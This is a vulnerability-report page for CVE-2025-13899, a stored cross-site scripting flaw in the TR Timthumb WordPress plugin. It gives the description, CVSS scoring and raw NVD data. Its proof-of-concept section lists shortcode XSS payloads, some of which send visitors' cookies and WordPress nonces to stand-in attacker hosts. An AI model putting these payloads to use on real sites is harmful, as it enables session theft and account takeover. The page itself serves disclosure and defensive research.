Security Vulnerability Report
中文
CVE-2025-13899 CVSS 6.4 MEDIUM

CVE-2025-13899

Published: 2025-12-06 06:15:54
Last Modified: 2026-04-15 00:35:42

Description

The TR Timthumb plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

TR Timthumb plugin for WordPress <= 1.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
WordPress管理员或Contributor权限用户可利用此PoC: 1. 在WordPress页面或文章中插入恶意shortcode: [timthumb src='x' onerror='alert(document.cookie)'] 2. 或使用更复杂的payload窃取用户信息: [timthumb src='x' onload="fetch('https://attacker.com/steal?c='+document.cookie)"] 3. 利用img标签的其他事件: [timthumb src='x' onerror='var img=document.createElement("img");img.src="https://evil.com/log?d="+btoa(document.cookie);'] 4. 存储型XSS利用脚本: <script> // 当页面加载时自动执行 document.addEventListener('DOMContentLoaded', function() { // 窃取CSRF token var csrfToken = document.querySelector('input[name="_wpnonce"]')?.value; // 发送数据到攻击者服务器 fetch('https://attacker.com/exfil?data=' + encodeURIComponent(document.cookie + '|' + csrfToken)); }); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13899", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:53.537", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The TR Timthumb plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/tr-timthumb/tags/1.0.4/inc/front.php#L39", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/tr-timthumb/trunk/inc/front.php#L39", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/675bf571-eb8b-4c72-9852-b3a2b37b9a04?source=cve", "source": "[email protected]"}]}}